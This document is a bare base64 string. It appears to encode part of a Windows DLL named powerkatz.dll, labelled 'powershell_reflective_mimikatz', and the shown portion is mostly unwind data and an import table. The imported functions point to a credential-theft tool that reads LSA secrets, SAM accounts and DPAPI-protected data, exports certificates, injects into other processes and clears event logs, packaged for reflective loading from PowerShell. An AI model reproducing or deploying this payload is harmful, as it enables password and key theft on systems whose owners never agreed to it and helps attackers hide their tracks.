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XkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAwQBDcnlwdEdlblJhbmRvbQAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCRAUxvb2t1cEFjY291bnRTaWRXAPcBT3BlblByb2Nlc3NUb2tlbgAAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAADTAlN5c3RlbUZ1bmN0aW9uMDA2AL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAQwBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAACABRnJlZVNpZAC/AlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAIEAQ3JlYXRlU2VydmljZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUA0gJTeXN0ZW1GdW5jdGlvbjAwNQBXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAMECU2V0VGhyZWFkVG9rZW4AAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA1gBDcnlwdFVucHJvdGVjdERhdGEAAHsAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAALoAQ3J5cHRQcm90ZWN0RGF0YQAAeQBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkACABDZXJ0QWRkRW5jb2RlZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlABIAQ2VydENsb3NlU3RvcmUAABABUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAAQAQ0RHZW5lcmF0ZVJhbmRvbUJpdHMAAAYAQ0RMb2NhdGVDaGVja1N1bQAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAAcARHNCaW5kVwBmAERzVW5CaW5kVwABAERzQWRkU2lkSGlzdG9yeVcAAE5URFNBUEkuZGxsAHkBUnBjQmluZGluZ1NldE9wdGlvbgBnAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAPYBUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAAB2AVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA+gFScGNTdHJpbmdGcmVlVwAAZQFScGNCaW5kaW5nRnJlZQAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJYATmRyQ2xpZW50Q2FsbDMAAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAhAFNhbU9wZW5Vc2VyABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACwAU2FtUmlkVG9TaWQAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAxwFJc0NoYXJBbHBoYU51bWVyaWNXAEABR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAA0AUnRsRnJlZUFuc2lTdHJpbmcAFwBSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAOAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAEwBSdGxJbml0VW5pY29kZVN0cmluZwAAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxHZXRDdXJyZW50UGViAAAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAACABSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAABkAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRTdXNwZW5kUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAEYDTG9jYWxBbGxvYwAAKwFGaWxlVGltZVRvU3lzdGVtVGltZQAASgNMb2NhbEZyZWUAwwNSZWFkRmlsZQAANAVXcml0ZUZpbGUAjwBDcmVhdGVGaWxlVwDABFNsZWVwAAgCR2V0TGFzdEVycm9yAADPBFRlcm1pbmF0ZVRocmVhZABSAENsb3NlSGFuZGxlALQAQ3JlYXRlVGhyZWFkAAD4AUdldEZpbGVTaXplRXgAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAXQFGbHVzaEZpbGVCdWZmZXJzAADGAUdldEN1cnJlbnRQcm9jZXNzAOwARHVwbGljYXRlSGFuZGxlAIIDT3BlblByb2Nlc3MA4QBEZXZpY2VJb0NvbnRyb2wAPQVXcml0ZVByb2Nlc3NNZW1vcnkAAP4EVmlydHVhbFByb3RlY3QAAPsEVmlydHVhbEZyZWUA+ARWaXJ0dWFsQWxsb2MAAHQEU2V0RmlsZVBvaW50ZXIAAP8EVmlydHVhbFByb3RlY3RFeAAA+QRWaXJ0dWFsQWxsb2NFeAAAxgNSZWFkUHJvY2Vzc01lbW9yeQD8BFZpcnR1YWxGcmVlRXgAAAVWaXJ0dWFsUXVlcnkAAAEFVmlydHVhbFF1ZXJ5RXgAAOUEVW5tYXBWaWV3T2ZGaWxlAIwAQ3JlYXRlRmlsZU1hcHBpbmdXAABZA01hcFZpZXdPZkZpbGUATQNMb2NhbFJlQWxsb2MAAKgAQ3JlYXRlUHJvY2Vzc1cAAIAEU2V0TGFzdEVycm9yAAAIBVdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAACoBRmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAngJHZXRUaW1lRm9ybWF0VwAAzwFHZXREYXRlRm9ybWF0VwAAPwFGaW5kRmlyc3RGaWxlVwAASwFGaW5kTmV4dEZpbGVXADQBRmluZENsb3NlAPEBR2V0RmlsZUF0dHJpYnV0ZXNXAACAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAEEDTG9hZExpYnJhcnlXAABMAkdldFByb2NBZGRyZXNzAABoAUZyZWVMaWJyYXJ5AB4CR2V0TW9kdWxlSGFuZGxlVwAAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAawJHZXRTdGRIYW5kbGUAAC4BRmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXAFsEU2V0Q3VycmVudERpcmVjdG9yeVcAAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAADKAUdldEN1cnJlbnRUaHJlYWQAAMcBR2V0Q3VycmVudFByb2Nlc3NJZACpA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMsBR2V0Q3VycmVudFRocmVhZElkAADvAkluaXRpYWxpemVTTGlzdEhlYWQAGARSdGxDYXB0dXJlQ29udGV4dAAfBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACYEUnRsVmlydHVhbFVud2luZAAAAgNJc0RlYnVnZ2VyUHJlc2VudADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAagJHZXRTdGFydHVwSW5mb1cABgNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AEtFUk5FTDMyLmRsbAAA8QJTeXN0ZW1GdW5jdGlvbjAzNgAaAkdldE1vZHVsZUZpbGVOYW1lVwAAJQRSdGxVbndpbmRFeADxAkludGVybG9ja2VkRmx1c2hTTGlzdADrAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQA0wRUbHNBbGxvYwAA1QRUbHNHZXRWYWx1ZQDWBFRsc1NldFZhbHVlANQEVGxzRnJlZQBAA0xvYWRMaWJyYXJ5RXhXAADyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCMAUdldENvbW1hbmRMaW5lQQCNAUdldENvbW1hbmRMaW5lVwAfAUV4aXRQcm9jZXNzAM4EVGVybWluYXRlUHJvY2VzcwAAHQJHZXRNb2R1bGVIYW5kbGVFeFcAAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUA1wJIZWFwRnJlZQAA0wJIZWFwQWxsb2MAbgFHZXRBQ1AAAPoBR2V0RmlsZVR5cGUALwNMQ01hcFN0cmluZ1cAAKABR2V0Q29uc29sZUNQAACyAUdldENvbnNvbGVNb2RlAACUBFNldFN0ZEhhbmRsZQAAcAJHZXRTdHJpbmdUeXBlVwAADANJc1ZhbGlkQ29kZVBhZ2UAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8A4QFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAFECR2V0UHJvY2Vzc0hlYXAAAHUEU2V0RmlsZVBvaW50ZXJFeAAAMwVXcml0ZUNvbnNvbGVXANwCSGVhcFNpemUAANoCSGVhcFJlQWxsb2MAYQRTZXRFbmRPZkZpbGUAAMEDUmVhZENvbnNvbGVXAAC0A1JhaXNlRXhjZXB0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAAQAAAAIAAAAvIAAAAAAAADKi3y2ZKwAAzV0g0mbU//8AAAAAAAAAAAAAAAAAAAAAEBoHgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACrkOxeIsCyRKXd/XFqIioVAAAAAAAAAAAAAAAAAAAAACRsAoABAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA